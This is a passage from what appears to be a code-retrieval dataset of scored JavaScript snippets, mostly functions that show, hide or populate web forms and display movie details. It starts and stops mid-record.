showStarterInputsForEdit(id);\r\n showChickenInputsForEdit(id);\r\n showBeefInputsForEdit(id);\r\n showPorkInputsForEdit(id);\r\n showLambInputsForEdit(id);\r\n showSeafoodInputsForEdit(id);\r\n showPastaInputsForEdit(id);\r\n showDessertInputsForEdit(id);\r\n showDrinksInputsForEdit(id);\r\n showNewMealInputsForEdit(id);\r\n}", "title": "" }, { "docid": "341b8d24f057febec3b5a3f91f0a9e47", "score": "0.5917874", "text": "renderForm() {\n\n }", "title": "" }, { "docid": "25c8110d77311fea2cd879597057b362", "score": "0.5916072", "text": "function hgShow() {\n let gens = document.getElementsByClassName(class_hgForm);\n for(let i = 0; i < gens.length; i++) {\n gens[i].hidden = false;\n }\n }", "title": "" }, { "docid": "5c6697a85fbdc2ed496823c1530f9d94", "score": "0.5915853", "text": "openForm() {\n this.$form.classList.add('form-open')\n this.$noteTitle.style.display = 'block';\n this.$noteBody.style.display = 'block';\n }", "title": "" }, { "docid": "78d7b0c3c4845291accfe20d45577af4", "score": "0.58990675", "text": "function login_form_show() {\n $login_form\n .show()\n .siblings()\n .hide();\n }", "title": "" }, { "docid": "a4a572efdb407c9e161cd84f2d0a8e19", "score": "0.5897992", "text": "function showForm(event) {\n\tformDiv.innerHTML = '';\n\tif (event.target.id === 'signupBtn') {\n\t\tformDiv.append(signUpForm);\n\t} else if (event.target.id === 'loginBtn') {\n\t\tformDiv.append(loginForm);\n\t} else if (event.target.id === 'postBtn') {\n\t\tformDiv.append(travelPostForm);\n\t}\n}", "title": "" }, { "docid": "ea86a76fc08d6c8ad885b02236fc8883", "score": "0.58932453", "text": "function mostrarform(flag)\n{\n limpiar();\n if(flag)\n {\n $(\"#listadoregistros\").hide();\n $(\"#formularioregistros\").show();\n $(\"#btnGuardar\").prop(\"disabled\",false);\n $(\"#btnagregar\").hide();\n }\n else{\n\n\t\t$(\"#listadoregistros\").show();\n\t\t$(\"#formularioregistros\").hide();\n\t\t$(\"#btnagregar\").show();\n\n }\n}", "title": "" }, { "docid": "f768f7bbbaa813e64750dfac433399fe", "score": "0.5891838", "text": "function showform() {\n\t$_(\"postform\").className = \"\";\n\t$_(\"postform_tbl\").className = \"\";\n\t$_(\"hide\").className = \"show\";\n\t$_(\"show\").className = \"hide\";\n}", "title": "" }, { "docid": "c6017c95b0c1c5c71c4777cbd07f2971", "score": "0.5890484", "text": "function showEditForm(){\n\n clearInputs();\n\n //declare newHTML; will be populated with elements from the taught courses array wrapped in options tags\n let newHTML = ``;\n\n for(let i = 0; i < query.length; i++){\n newHTML += `<option>${query[i].number}</option>`\n }\n \n //updating the Edit Course dropdown menu with existing courses\n updateEditCoursesInfo(newHTML);\n\n //update all of the button's colors upon clicking the Edit Course button\n viewCoursesButtonElement.setAttribute('class', 'btn btn-secondary');\n addCourseButtonElement.setAttribute('class', 'btn btn-secondary');\n editCourseButtonElement.setAttribute('class', 'btn btn-primary');\n removeCourseButtonElement.setAttribute('class', 'btn btn-secondary');\n\n //unhiding the Update Course form and hiding all non-relevant form elements\n editCourseFormElement.removeAttribute('hidden');\n addCourseFormElement.setAttribute('hidden', 'true');\n removeCourseFormElement.setAttribute('hidden', 'true');\n coursesContainerElement.setAttribute('hidden', 'true');\n\n //hiding all non-relevant error message elements\n addCourseErrorMessageElement.setAttribute('hidden', 'true');\n editCourseErrorMessageElement.setAttribute('hidden', 'true');\n removeCourseErrorMessageElement.setAttribute('hidden', 'true');\n\n }", "title": "" }, { "docid": "29f87c9468c57c345718193968381463", "score": "0.58840746", "text": "function initializeFields() {\n\n if (getParameterByName(\"method\") !== null) {\n if (getParameterByName(\"method\") === \"boruta\") {\n $(\"#boruta-params\").show();\n $(\"#rf-params\").hide();\n } else {\n $(\"#boruta-params\").hide();\n $(\"#rf-params\").show();\n }\n } else {\n $(\"#boruta-params\").show();\n $(\"#rf-params\").hide();\n }\n\n if (getParameterByName(\"numTrees\") !== null) {\n $(\"#numTrees\").val(getParameterByName(\"numTrees\"));\n }\n if (getParameterByName(\"maxDepth\") !== null) {\n $(\"#maxDepth\").val(getParameterByName(\"maxDepth\"));\n }\n\n if (getParameterByName(\"maxruns\") !== null) {\n $(\"#maxruns\").val(getParameterByName(\"maxruns\"));\n }\n if (getParameterByName(\"pval\") !== null) {\n $(\"#pval\").val(getParameterByName(\"pval\"));\n }\n}", "title": "" }, { "docid": "b1640672b9d54ac577d85c1574b8aac3", "score": "0.58779615", "text": "function showNameForm() {\n hideEmailForm();\n hideChangePasswordForm();\n $(\"#newName\").val(\"\"); // Clear the input for the device ID \n $(\"#changeNameControl\").hide(); // Hide the add device link\n $(\"#changeNameForm\").slideDown(); // Show the add device form\n}", "title": "" }, { "docid": "c82d0c52fd08fae8638230d07ad55d5a", "score": "0.58753896", "text": "function frmProfilePreShow(){\n/*\tkony.print(\"audienceFirstName-\"+audienceFirstName);\n\tkony.print(\"audienceLastName-\"+audienceLastName);\n\tkony.print(\"audienceEmail-\"+audienceEmail);\n\tkony.print(\"audienceMob-\"+audienceMob); */\n\tfrmProfile.txtBoxFname.text=audienceFirstName;\n\tfrmProfile.txtBoxLname.text=audienceLastName;\n\tfrmProfile.txtBoxEmail.text=audienceEmail;\n\tselectedCountry=audienceCountry;\n\tselectedState=audienceState;\n\tfrmProfile.listbox5316540885527.selectedKey=audienceCountry;\n\tfrmProfile.txtBoxState.text=audienceState;\n\tfrmProfile.txtBoxMob.text=audienceMob;\n}", "title": "" }, { "docid": "0742208b5c8014bbd03a465fc65e009e", "score": "0.58691573", "text": "function showFormHelp(options) {\n var responsivePos = $mdMedia('xs') ? 'n' : 's';\n var trip = new Trip([], options);\n\n var contentId = \"Ingrese el ID del nuevo usuario.\";\n var contentPsw = \"Ingrese la contraseña con que el nuevo \" +\n \"usuario ingresará al sistema.\";\n var repeatPsw = \"Por medidas de seguridad, repita la contraseña.\";\n var userType = \"Elija el tipo de usuario que desea crear.\";\n var contentName = \"Ingrese el nombre del usuario.\";\n var contentLastName = \"Ingrese el apellido del usuario.\";\n var contentPhone = \"Ingrese el número telefónico (opcional).\";\n var contentEmail = \"Ingrese el correo electrónico (opcional).\";\n if (typeof $scope.userId === \"undefined\") {\n Helps.addFieldHelp(trip, \"#user-id\",\n contentId, responsivePos);\n }\n if (typeof $scope.model.psw === \"undefined\") {\n Helps.addFieldHelp(trip, \"#user-psw\",\n contentPsw, responsivePos);\n }\n if (typeof $scope.model.psw2 === \"undefined\") {\n Helps.addFieldHelp(trip, \"#psw2\",\n repeatPsw, responsivePos);\n }\n if (typeof $scope.model.type === \"undefined\") {\n Helps.addFieldHelp(trip, \"#user-type\",\n userType, responsivePos);\n }\n if (typeof $scope.model.name === \"undefined\") {\n Helps.addFieldHelp(trip, \"#user-name\",\n contentName, responsivePos);\n }\n if (typeof $scope.model.lastname === \"undefined\") {\n Helps.addFieldHelp(trip, \"#user-lastname\",\n contentLastName, responsivePos);\n }\n if (typeof $scope.model.phone === \"undefined\") {\n Helps.addFieldHelp(trip, \"#user-phone\",\n contentPhone, responsivePos);\n }\n if (typeof $scope.model.email === \"undefined\") {\n Helps.addFieldHelp(trip, \"#user-email\",\n contentEmail, responsivePos);\n }\n if (!$scope.missingField()) {\n var content = \"Haga clic en REGISTRAR para crear \" +\n \"el nuevo usuario.\";\n Helps.addFieldHelp(trip, \"#register-btn\",\n content, 'n');\n }\n trip.start();\n }", "title": "" }, { "docid": "5c7d0ccc621908a4095f99dd6782d64d", "score": "0.5868353", "text": "function displayForm(action) {\n function forEach(myArr, option){\n for(let i = 1; i < myArr.length; i += 2){\n if(option == 1) myArr[i].style.display = \"none\";\n if(option == 2) myArr[i].style.display = i == 1? \"flex\" : \"block\"\n if(option == 3){\n myArr[i].style.display = i == 1? \"flex\" : \"block\"\n spinner.style.display = \"none\"\n divPhoto.style.display = \"none\"\n } \n }\n }\n\n let childs = form.childNodes\n\n if (action == \"HIDE\") {\n forEach(childs, 1)\n form.style.height = `${divFormHeightVw}vw`\n }else if (action == \"SHOW\") {\n forEach(childs, 2)\n }else if (action == \"REF\"){\n forEach(childs, 3)\n }\n }", "title": "" }, { "docid": "88631f9224692574e162992d3d78af2e", "score": "0.5868184", "text": "function OutputFormDataToConsole() {\n console.log(`%c -----------FORM DATA----------- `, \"font-weight: bold; font-size: 16px; color: maroon; background-color: rgba(0, 255, 0, 0.3);\");\n console.log(`%c First Name : ${firstName.value}`, \"color: maroon; font-style: italic;\");\n console.log(`%c Last Name : ${lastName.value}`, \"color: maroon; font-style: italic;\");\n console.log(`%c Contact Number : ${contactNumber.value}`, \"color: maroon; font-style: italic;\");\n console.log(`%c Email Address : ${email.value}`, \"color: maroon; font-style: italic;\");\n console.log(`%c Your Message : ${yourMessage.value}`, \"color: maroon; font-style: italic;\");\n }", "title": "" }, { "docid": "6751edaea9a0d823f5739b99284d1870", "score": "0.58624125", "text": "function viewform(){\n\t$(\"#js-form\").slideToggle();\n\t$(\".article\").slideToggle();\n}", "title": "" }, { "docid": "64368351512e8249515075fef5bae63a", "score": "0.58577377", "text": "function formDisplayer(menuName) {\n $('form[id$=-form]').hide();\n $(`#${menuName}-form`).show();\n $('#formName-header').text(menuName);\n $('.result-div').height($('.input-forms').height() * 1.61);\n}", "title": "" }, { "docid": "b6b2d2b48b3b03380dcb54925f7cf660", "score": "0.58532524", "text": "show_delete_form(){\n this.txt_empid = this.div_form.add_text_entry(\"Employee ID\",true);\n this.div_form.add_button(\"Delete\", this.process_delete_form.bind(this),true);\n }", "title": "" }, { "docid": "202fcafc3d5bf29c48cf5400dd817310", "score": "0.5851857", "text": "function ArticleForm() {\n\t}", "title": "" }, { "docid": "11eba2d3307da35c8961003e20ac134f", "score": "0.5850602", "text": "function show_register(){\n\thideAllErrorsIndex();\n document.getElementById(\"login_form\").style.display=\"none\";\n document.getElementById(\"registration_form\").style.display=\"block\";\n}", "title": "" }, { "docid": "4f1cdc12071ef360d8edb64babfa474d", "score": "0.584494", "text": "function showForm () {\n $( \"#table\" ).hide();\n $( \"#form\" ).show();\n}", "title": "" }, { "docid": "4f1cdc12071ef360d8edb64babfa474d", "score": "0.584494", "text": "function showForm () {\n $( \"#table\" ).hide();\n $( \"#form\" ).show();\n}", "title": "" }, { "docid": "d8f6556bd4227079d6416d03532d5634", "score": "0.58269364", "text": "showInputs (FunctionInfo, idCurrentSM) {\n if(FunctionInfo.inputs.length > 0) {\n return (\n <span>\n <hr />\n <small>Inputs:</small>\n </span>\n );\n }\n }", "title": "" }, { "docid": "8cb37d58a95058172a9a8ebc53d22b90", "score": "0.58263105", "text": "contactInformation(){\n document.getElementById(\"contactInformationFieldsId\").style.display = 'block'\n }", "title": "" }, { "docid": "bf335590a12f6f11e28dd1738a19764b", "score": "0.5814554", "text": "function user_form_onload() {\n\tvar form = AFM.view.View.getControl('', 'detailsPanel');\n\tvar priority = form.getFieldValue('wr.priority');\n\tvar status = form.getFieldValue('wr.status');\n\tvar requestor = form.getFieldValue('wr.requestor');\n\n\tdocument.getElementById(\"Showwr.priority\").innerHTML = getEnumDisplay('wr', 'priority', priority);\n\tdocument.getElementById(\"Showwr.status\").innerHTML = getEnumDisplay('wr', 'status', status);\n\tdocument.getElementById(\"Showwr.requestor\").innerHTML = getFullName(requestor);\n\n\tvar eqBarCode = form.getFieldValue('wr.eq_id');\n\tvar eqCond = form.getFieldValue('eq.condition');\n\n\tif (eqBarCode != \"\") {\n\t\tdocument.getElementById(\"eqBarCodeText\").innerHTML = eqBarCode;\n\t\tdocument.getElementById(\"eqBarCodeText2\").innerHTML = eqBarCode;\n\t\tdocument.getElementById(\"eqCondText\").innerHTML = eqCond;\n\t\tdocument.getElementById('questionsTable').style.display = 'block';\n\t}\n\n\tvar wr_id = form.getFieldValue('wr.wr_id');\n\tvar restriction = \"wr_id = \" + wr_id;\n\n\tvar cfGrid = AFM.view.View.getControl('', 'laborPanel');\n\tcfGrid.refresh(restriction);\n\n\t// Hide the Equipment Details if no eq_id\n\tif (form.getFieldValue('wr.eq_id') == \"\") {\n\t\tvar eqElement = document.getElementById(\"Showeq.eq_std\");\n\t\t// hide the entire row\n\t\teqElement.parentNode.parentNode.style.display = \"none\";\n\n\t\t// Note: use eqElement.parentNode.parentNode.nextSibling for the next row.\n\t\t// eqElement.parentNode.parentNode.nextSibling.style.display = \"none\";\n\t}\n\n\t// replace the linefeeds with html breaks (for description and comments)\n\t// restyle/overwide the 350px width of the readonly span.\n\tvar descriptionSpan =\tdocument.getElementById(\"Showwr.description\");\n\tdescriptionSpan.innerHTML = form.getFieldValue('wr.description').replace(/\\n/g, \"<br/>\");\n\tdescriptionSpan.style.width = \"90%\";\n\tvar cfnotesSpan = document.getElementById(\"Showwr.cf_notes\");\n\tcfnotesSpan.innerHTML = form.getFieldValue('wr.cf_notes').replace(/\\n/g, \"<br/>\");\n\tcfnotesSpan.style.width = \"90%\";\n}", "title": "" }, { "docid": "387b1c8714259d5fbb379300612acc2f", "score": "0.58139133", "text": "function showOrderForm () {\n // get products data from postgres database\n getProducts(callback)\n\n // getting data successful\n function callback () {\n // show the modal form\n utils.showModal('order_form.html', {})\n\n // try initialize the form\n _tryCatchCounter = 1\n tryInitialisingForm()\n\n // set listeners\n removeListenersForOrderForm()\n addListenersForOrderForm()\n }\n}", "title": "" }, { "docid": "f86c2b38392ce767cf326882cd442fa4", "score": "0.5809834", "text": "function openForm() {\n document.getElementById(\"page-mask\").style.display = \"block\";\n document.getElementById(\"theForm\").style.display = \"block\";\n document.getElementById(\"newName\").value = \"\";\n document.getElementById(\"newDate\").value = \"\";\n document.getElementById(\"newDesc\").value = \"\";\n}", "title": "" }, { "docid": "c8516048a02f3c400fb4906484a09fa5", "score": "0.580717", "text": "function populateFields(){\n\t$(\".userLogoutUrl\").attr(\"href\", user.logoutUrl);\n\t$(\".userLoginUrl\").attr(\"href\", user.loginUrl);\n\t$(\".userName\").text(user.name);\n\t$(\".userlevel\").text(user.level);\n\t\n\tif(user.loggedin){\n\t\t$(\".userLoggedinShow\").show();\n\t\t$(\".userLoggedoutShow\").hide();\n\t}else{\n\t\t$(\".userLoggedinShow\").hide();\n\t\t$(\".userLoggedoutShow\").show();\n\t}\n}", "title": "" }, { "docid": "66184fb1d8d24c4ee4fbe47b91fa320e", "score": "0.5803993", "text": "function showFormHelp(options) {\n var trip = new Trip([], options);\n var content = '';\n if (typeof $scope.model.comment === \"undefined\" ||\n $scope.model.comment == \"\" ||\n $scope.model.comment == $scope.request.comment) {\n content = \"Agregue un comentario (opcional) \" +\n \"hacia la solicitud.\";\n\n Helps.addFieldHelp(trip, \"#comment\", content, 's');\n }\n if ($scope.model.status == $scope.RECEIVED_STRING) {\n content = \"Seleccione el nuevo estatus de la \" +\n \"solicitud.\";\n Helps.addFieldHelp(trip, \"#status\", content, 's');\n }\n if (($scope.model.status == $scope.PRE_APPROVED_STRING ||\n $scope.model.status == $scope.REJECTED_STRING)\n && typeof $scope.model.reunion === \"undefined\") {\n content = \"Agrege el número de reunión (opcional).\";\n Helps.addFieldHelp(trip, \"#reunion\",\n content, 'n');\n }\n if ($scope.model.status == $scope.PRE_APPROVED_STRING\n && typeof $scope.model.approvedAmount === \"undefined\") {\n content = \"Agrege el monto aprobado en Bs.\";\n Helps.addFieldHelp(trip, \"#approved-amount\",\n content, 'n');\n }\n if ($scope.model.files.length == 0) {\n content = \"Haga clic para para (opcionalmente) agregar documentos \" +\n \"adicionales a la solicitud.\";\n Helps.addFieldHelp(trip, \"#more-files\", content, 's');\n } else {\n content = \"Estas tarjetas contienen el nombre y posible descripción \" +\n \"de los documentos seleccionados. Puede eliminarla o proporcionar una descripción\" +\n \" a través de los íconos en la parte inferior de la tarjeta.\";\n Helps.addFieldHelp(trip, \"#file-card\", content, 'n');\n }\n if ($scope.model.status == $scope.PRE_APPROVED_STRING) {\n content = \"Estas tarjetas muestran información de interés con respecto al monto que el asociado solicitó \" +\n \"y el monto máximo que se le será otorgado.\";\n Helps.addFieldHelp(trip, \"#info\", content, 'n');\n }\n if (!$scope.missingField()) {\n content = \"Haga clic en ACTUALIZAR para guardar \" +\n \"los cambios.\";\n Helps.addFieldHelp(trip, \"#edit-btn\",\n content, 'n');\n }\n trip.start();\n }", "title": "" }, { "docid": "e7aa8a57dddd7a37064dcaff2f0f4ef0", "score": "0.5784459", "text": "function showFormHelp(options) {\n var content;\n var tripToShowNavigation = new Trip([], options);\n if (typeof $scope.comment === \"undefined\" || $scope.comment == \"\"\n || $scope.comment == $scope.request.comment) {\n content = \"Puede (opcionalmente) realizar algún comentario \" +\n \"hacia la solicitud.\";\n Helps.addFieldHelp(tripToShowNavigation, \"#comment\", content, 's');\n }\n if ($scope.files.length == 0) {\n content = \"Haga clic para para (opcionalmente) agregar documentos \" +\n \"adicionales a la solicitud.\";\n Helps.addFieldHelp(tripToShowNavigation, \"#more-files\", content, 's');\n } else {\n content = \"Estas tarjetas contienen el nombre y posible descripción \" +\n \"de los documentos seleccionados. Puede eliminarla o proporcionar una descripción\" +\n \" a través de los íconos en la parte inferior de la tarjeta.\";\n Helps.addFieldHelp(tripToShowNavigation, \"#file-card\", content, 'n');\n }\n if (!$scope.allFieldsMissing()) {\n content = \"Haga clic en ACTUALIZAR para guardar los cambios.\";\n Helps.addFieldHelp(tripToShowNavigation, \"#edit-btn\", content, 'n');\n }\n tripToShowNavigation.start();\n }", "title": "" }, { "docid": "fa2491fe97af627b63a840269d83a5dc", "score": "0.57757145", "text": "function displayForm(itemCtx) {\n\t\t\tvar intValue;\n\t\t\tintValue = parseInt(itemCtx.CurrentFieldValue);\n\n\t\t\treturn displayMethod(intValue);\n\t\t}", "title": "" }, { "docid": "1d56d2a46957606d50bfe6ac60df7f32", "score": "0.5773235", "text": "function openForm() {\n document.getElementById(\"myForm\").style.display = \"block\";\n }", "title": "" }, { "docid": "b87fc7e3ecac44e1997a14e66dd48397", "score": "0.577064", "text": "displayField (field) {\n if (this.state[field] !== '') {\n return \"Login-input-input with-info\";\n } else {\n return \"Login-input-input\";\n }\n }", "title": "" }, { "docid": "5352b77f989c73f90465e4562b7454fc", "score": "0.57596624", "text": "function openForm4() {\n document.getElementById(\"myForm4\").style.display = \"block\";\n}", "title": "" }, { "docid": "425548d52b8acb217ea32ea05c452ad0", "score": "0.5754632", "text": "function showForm(e){\n var x = document.getElementById('newUserForm')\n x.style.display = \"block\"\n}", "title": "" }, { "docid": "3470791ab3c3c296d434a147e7e0dc8f", "score": "0.57539076", "text": "function showUserForm()\n{\n cleanDivs();\n getUserDataAndForm();\n updateButtons(\"userForm\");\n}", "title": "" }, { "docid": "38280c83da9b4c0045ed2cbe3973040e", "score": "0.5748744", "text": "function mostrarFormulario (){\n if(formulario1.style.display == \"block\"){\n formulario1.style.display = \"none\";\n }else{\n formulario2.style.display = \"block\";\n var labelTel = document.getElementById(\"labTel\");\n labelTel.classList.add(\"active\");\n inputTel.classList.add('textoInput');\n };\n}", "title": "" }, { "docid": "d731a862b2af3470c02fcf6aae709fa7", "score": "0.5741046", "text": "showPanelCreate(){\n document.querySelector(\"#box-user-create\").style.display = \"block\"; // Habilita o formulário de criação de usuário\n document.querySelector(\"#box-user-update\").style.display = \"none\"; // Esconde o formulário de update de usuário\n }", "title": "" }, { "docid": "96fcf94f231eb90e967ce756c1b357f1", "score": "0.5738846", "text": "function displayFormErrors(form, errors) {\n Object.keys(errors).forEach(function(fieldName) {\n var error = errors[fieldName];\n var fieldElement = form.querySelector(\"[name=\"+ fieldName +\"]\");\n fieldElement.nextElementSibling.innerHTML = \"<i>\" + error + \"</i>\";\n });\n}", "title": "" }, { "docid": "a3bb98511a4e485cbec51e737938d81c", "score": "0.573809", "text": "showForm(availableBikesInfo) {\n \n if (availableBikesInfo < 1) {\n this.form.css('display', 'none');\n this.noAvailableBikeMsg.css('display', 'block');\n } else {\n this.form.css('display', 'block');\n this.noAvailableBikeMsg.css('display', 'none');\n }\n }", "title": "" }, { "docid": "519c178d0c13179cd09cede18ce14c59", "score": "0.5732047", "text": "function show_new_space_form(bldg) {\n // Set the building's API uuid\n building.key = bldg.key; // key is provided from Electrick's API.\n building.title = bldg.title;\n building.address = bldg.address;\n\n var tmp = Handlebars.compile($('#new_space_form').html());\n $('#new_space_form').html(tmp(building))\n hide_all_forms();\n hide_spinner();\n show_form('new_space_form');\n }", "title": "" }, { "docid": "6a016a0c7f80b33210d4bf11c9f4f6c9", "score": "0.57221335", "text": "function renderForm(form) {}", "title": "" }, { "docid": "f8bf3fe97b68401cf08187b40d4174f2", "score": "0.5706855", "text": "function buildForm(){\n\n self.formModel = new FormModel(self.toJSON());\n self.fieldCollection = new FieldCollection({model : self.formModel});\n console.log(self.fieldCollection);\n var fv = self.formView = new FormView({\n collection: self.fieldCollection\n });\n\n fv.render(); \n $('#form-wrapper').append(fv.el);\n }", "title": "" }, { "docid": "f89a3861610d6f744918fda3ff3deb3e", "score": "0.57048494", "text": "function showForm(){\n\t\n\tvar table = document.getElementById(\"resptable\");\n\ttable.style.display = \"none\";\n\t\n\tvar form_container = document.getElementById(\"form_container\");\n\tform_container.style.display = \"block\";\n\t\n\t\n}", "title": "" }, { "docid": "8a0c7615d1a6c14848de689c2d134a9f", "score": "0.5704331", "text": "renderForm(item,labels) {\n return []\n }", "title": "" }, { "docid": "e0b1f3a6fb6020c00e4c2205cc9ca4f2", "score": "0.57037127", "text": "function showNusForm(){\n var x = document.getElementsByClassName(\"nus-form\");\n var y = document.getElementsByClassName(\"custom-form\");\n for (i = 0; i<x.length; i++){\n x[i].style.display = 'block';\n }\n for (j = 0; j<y.length; j++){\n y[j].style.display = 'none';\n }\n}", "title": "" } ]
b77b70341c3403aa1e052158a5b0bc4a
displayMovieInfo function rerenders the HTML to display the appropriate content
[ { "docid": "a4e7ce1db7a1d7a3332371caf813bb23", "score": "0.0", "text": "function displayBandInfo() {\n\n var music = $(this).attr(\"data-music\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n music + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n \n\n\n // Creating an AJAX call for the specific gif button being clicked\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).done(function(response) {\n console.log(response);\n\n var results = response.data;\n\n for (var i=0; i < results.length; i++) {\n \n\n // Creating a div to hold the gif\n var giphyDiv = $(\"<div class='gifs'>\");\n giphyDiv.attr( \"data-state\", \"still\"); \n giphyDiv.attr( \"data-animate\", results[i].images.fixed_height.url); \n giphyDiv.attr (\"data-still\", results[i].images.fixed_height_still.url);\n\n\n\n // Storing the rating data\n var ratings = results[i].rating;\n\n // Creating an element to have the rating displayed\n var p = $(\"<p>\").text(\"Rating: \" + ratings);\n\n // Displaying the rating\n giphyDiv.append(p);\n\n\n // Retrieving the URL for the image\n var imgURL = results[i].images.fixed_height_still.url;\n\n\n // Creating an element to hold the image\n var image = $(\"<img>\").attr(\"src\", imgURL);\n \n\n // Appending the image\n giphyDiv.append(image);\n\n // Putting the entire movie above the previous movies\n $(\"#giphy-view\").prepend(giphyDiv);\n\n \n }\n\n });\n\n }", "title": "" } ]
[ { "docid": "76dec91a8f712e5d8513ecbc485876a3", "score": "0.7791245", "text": "function renderMovieInfo() {\n searchMovieTitle();\n searchMovieDate();\n searchMovieImg();\n searchMovieRating();\n searchMovieSynapsis();\n}", "title": "" }, { "docid": "7d12aad2853f70409073899f3d98940e", "score": "0.7633753", "text": "function displayMoviePage(info){\n var movieTitle = info.Title;\n var movieYear = info.Year;\n var imdbRating = info.imdbRating;\n var plot = info.Plot;\n moviePoster = info.imdbID;\n MoviePage += '<div class=\"imageDiv1\">';\n\n if (info.Poster==\"N/A\"){\n //MoviePage += '<i class=\"material-icons poster-placeholder\">crop_original</i>';\n } else {\n MoviePage += '<div class=\"imageDiv2\"><img src=\"http://img.omdbapi.com/?i=' + moviePoster + '&apikey=7c37867a\"></div>';\n }\n\n MoviePage += '<p id=\"return\">< Search results</p>';\n MoviePage += '<p id=\"movieInfo\">' + movieTitle + ' (' + movieYear + ')</p>';\n MoviePage += '<p id=\"rotten\"> IMBD Rating: ' + imdbRating + '</p>';\n MoviePage += '<div id=\"synopsis\">';\n MoviePage += '<p id=\"title\">Plot Synopsis<p>';\n MoviePage += '<p id=\"plot\">' + plot + '<p>';\n MoviePage += '<button id=\"goIMDB\">View on IMBD</button>';\n MoviePage += '</div>';\n MoviePage += '</div>';\n\n //Populate single movie page\n $(\".main-content\").append(MoviePage);\n\n //Go to IMBD page if clicked\n $(\".main-content\").on(\"click\",\"#goIMDB\",function(){\n window.location.href = \"http://www.imdb.com/title/\" + imbdIdentifier;\n });\n\n //Callback event to go back to main page\n $(\".main-content\").on(\"click\",\"#return\",function(){\n $(\".imageDiv1\").remove();\n $(\"ul\").show();\n });\n\n }", "title": "" }, { "docid": "dc29cde7afec6d170e8c158edc603211", "score": "0.7510536", "text": "function displayMovieInformation(data) {\n data = JSON.parse(data);\n displayBreadCrumbs(data.navigation_history);\n displayParticularMovieInformation(data);\n displayStackedBarChart(data);\n }", "title": "" }, { "docid": "2d67631ac0b53aee6bba8cd9c6a4f321", "score": "0.7176393", "text": "function movieInfo() {\n chrome.runtime.sendMessage({\n action: 'trackEvent',\n params: ['Trailers', 'Load info view']\n });\n var header$ = $('h1.title');\n var movieName = header$.text().trim();\n var link$ = $('<span>', {\n class: 'year'\n }).append(trailerLink(movieName, 'trailer-detail'));\n header$.parent().after(link$);\n}", "title": "" }, { "docid": "0d47120caaa382ade90498cedf1a750f", "score": "0.7102699", "text": "function movieInfoDisplay(imdbID) {\r\n var queryURL = \"https://www.omdbapi.com/?i=\" + imdbID + \"&y=&plot=short&apikey=\" + omdbKey;\r\n // ajax call\r\n $.ajax({\r\n url: queryURL,\r\n method: \"GET\"\r\n }).done(function(response) {\r\n console.log('RESPONSE: ', response);\r\n var newDiv = $('<div>');\r\n\r\n var movieYear = response.Year;\r\n var director = response.Director;\r\n var runTime = response.Runtime;\r\n var genre = response.Genre;\r\n var actors = response.Actors;\r\n\r\n // create classes for spans\r\n\r\n var titleElement = $('<div>');\r\n var titleDiv = $('<div>');\r\n var detailDiv = $('<div>');\r\n\r\n var titleSpan = $('<span>').text(response.Title).addClass('movie-title');\r\n var year = $('<span>').text(\" (\" + response.Year + \")\").addClass('year');\r\n titleDiv.append(titleSpan).append(year);\r\n\r\n var detailSpan = $('<span>').text(response.Rated + \" | \" + runTime + \" | \" + genre + \" | \" + response.Released).addClass('detail-span');\r\n detailDiv.append(detailSpan);\r\n\r\n titleElement.append(titleDiv).append(detailDiv);\r\n\r\n\r\n\r\n var posterRow = $('<div>').addClass('row');\r\n\r\n\r\n\r\n // var posterURL = response.Poster;\r\n var posterHolder = $('<a>');\r\n posterHolder.attr('href', response.Poster);\r\n posterHolder.attr('data-lightbox', 'image-1');\r\n posterHolder.attr('data-title', response.Title + ' movie poster.');\r\n\r\n var posterElement = $('<img>');\r\n posterElement.attr('src', response.Poster);\r\n posterElement.attr('alt', response.Title);\r\n\r\n posterElement.addClass(\"poster\");\r\n posterHolder.append(posterElement);\r\n var posterDiv = $('<div>').addClass('col-lg-4 col-md-4 col-sm-3').append(posterHolder);\r\n\r\n\r\n posterRow.append(posterDiv);\r\n\r\n\r\n\r\n var detailRow = $('<div>').addClass('col-lg-8 col-md-8 col-sm-9');\r\n var detailRow2 = $('<div>').addClass('col-lg-8 col-md-8 col-sm-9');\r\n\r\n\r\n // var plot = response.Plot;\r\n\r\n var plotElement = $('<p>').text(response.Plot).addClass('plot-text');\r\n var plotSpan = $('<div>').text('Plot: ').addClass('movie-details margin-top-10').append(plotElement);\r\n\r\n\r\n var director = $('<div>').text(response.Director).addClass('detail-font');\r\n var directorSpan = $('<div>').text('Director: ').addClass('movie-details margin-top-10').append(director);\r\n\r\n console.log(director);\r\n console.log(directorSpan.append(director));\r\n\r\n var writer = $('<div>').text(response.Writer).addClass('detail-font margin-t');\r\n var writerSpan = $('<div>').text('Writer: ').addClass('movie-details margin-top-10').append(writer);\r\n \r\n console.log(writer);\r\n\r\n var actors = $('<div>').text(response.Actors).addClass('detail-font');\r\n var actorSpan = $('<div>').text('Stars: ').addClass('movie-details margin-top-10').append(actors);\r\n\r\n console.log(actors);\r\n\r\n\r\n detailRow.append(plotSpan);\r\n detailRow2.append(directorSpan);\r\n detailRow2.append(writerSpan);\r\n detailRow2.append(actorSpan);\r\n // append \r\n posterRow.append(detailRow);\r\n posterRow.append(detailRow2);\r\n\r\n // favorite button\r\n var favBtn = $('<button>').text(' Add to favorites');\r\n favBtn.addClass('add btn btn-default');\r\n favBtn.attr('data-movie-id', imdbID);\r\n\r\n var iconSpan = $('<span>');\r\n iconSpan.addClass('glyphicon glyphicon-star');\r\n favBtn.prepend(iconSpan);\r\n\r\n newDiv.append(titleElement, posterRow, favBtn);\r\n\r\n $('.movie-panel').prepend(newDiv);\r\n })\r\n}", "title": "" }, { "docid": "263b883415d481aea171db188f4ce734", "score": "0.7016526", "text": "function displayMovieProfile(response, filmId) {\n\t\ttitleCon.innerHTML = `${response.data.title}`;\n\t\tupdatePoster(`films/${filmId}`, `${response.data.title} poster`, true);\n\t\tcrawlCon.innerHTML = `${response.data.opening_crawl}`;\n\t}", "title": "" }, { "docid": "870c32082aed64d03a94dcea06c97fcf", "score": "0.7009268", "text": "displaySingleMovie(movieItem){\r\n const container = document.querySelector(\".movie-container\");\r\n\r\n let genres = this.displayGenres(movieItem.genres);\r\n let moviePoster = IMGPATH + movieItem.poster_path;\r\n let movieName = (movieItem.title !== undefined) ? movieItem.title : movieItem.name;\r\n \r\n const div = document.createElement('div');\r\n div.classList.add(\"movie-container-body\");\r\n div.innerHTML = `\r\n <!-- Container For Video -->\r\n <div class=\"movie-video-container\">\r\n <img 